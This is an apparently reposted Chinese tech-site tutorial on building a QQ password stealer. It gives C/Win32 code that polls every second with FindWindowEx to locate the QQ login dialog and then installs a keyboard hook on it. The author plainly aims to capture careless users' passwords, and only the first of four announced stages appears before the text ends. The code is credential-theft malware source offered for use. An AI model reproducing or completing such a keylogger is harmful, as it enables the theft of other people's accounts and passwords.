當前位置:陽光暱稱網 >

計算機網絡 >軟件技術 >

盜QQ的密碼軟件模擬實現技術

盜QQ的密碼軟件模擬實現技術

盜QQ的密碼軟件模擬實現技術
最近天氣太熱,外加無聊,出於練習的目的,想到了寫個盜QQ的軟件,說“盜”,未免是太難聽了吧,於是我給它起名爲“UiQQ道”.

  一般的盜密碼的軟件的軟件都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因爲有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鉤子來監視QQ登陸界面就是獲得密碼的方法,在安裝前得先找到登陸窗口的句柄,當鉤子安裝後,記錄鍵盤,當用戶“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分爲四部分來說明這個整個過程:

  (1)尋找QQ登陸界面。

  (2)安裝鉤子

  (3)鉤子函數的解釋.

  (4)處理密碼。

  以下部分全是使用C語言,文章中我假設讀者您是會C/SDK編程的。如果遇到相關的概念性問題,您可以查看MSDN或是上BBS 詢問!

  第一部分:(1)尋找QQ登陸界面。

  軟件運行後,利用安裝定時器,每秒在系統找QQ登陸界面,這樣基本上只要用戶打開了QQ登陸界面就會被抓住其句柄,看下面代碼:

  #define ID_MYTIMER 555

  SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

  安裝好TIMER後,下面是處理主程序的WM_TIMER消息,凡是出現沒有定義的變量,您可以理解爲是全局變量.

  //處理WM_TIMER代碼

  if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的窗口句柄

  {

  HWND hLogin=NULL;

  g_hQQLogin = NULL;

  SetQQHook(NULL); //參數爲NULL是卸載HOOK,參數爲句柄是安裝句柄

  do

   {

  //利用FindWindowEx查找QQ登陸窗口,具體參數意思請查MSDN

  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話框的類都是#32770

  //找到類名是#32770後,再在其窗體內找一個具有“ 登錄QQ”的BUTTON按紐

  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登錄QQ"); //這一句很關鍵,如果你的QQ登陸窗口上沒有" 登錄QQ"字樣,那麼獲取密碼將失敗!

  }

  while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陸窗口

  if (g_hQQLogin != NULL)

  {

  SetQQHook(g_hQQLogin);//安裝HOOK,此函數在DLL文件中 第二部分中介紹

  }

   }

  上面就是查找QQ登陸窗口句柄的過程,從代碼可以看出我用的方法:找一個其子窗體中有一個標題爲“ 登錄QQ”的BUTTON的對話框(這句話說得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ用戶登陸窗口")來查找,但是我用Spy++看了QQ登陸窗口的標題並不是“QQ用戶登陸窗口”,而是“亂碼”,其中包含了回車鍵等特殊字符,於是我用了FindWindowEx().
標籤: qq 模擬 軟件 技術
  • 文章版權屬於文章作者所有,轉載請註明 https://ygncw.com/jisuanji/ruanjian/9zx7z5.html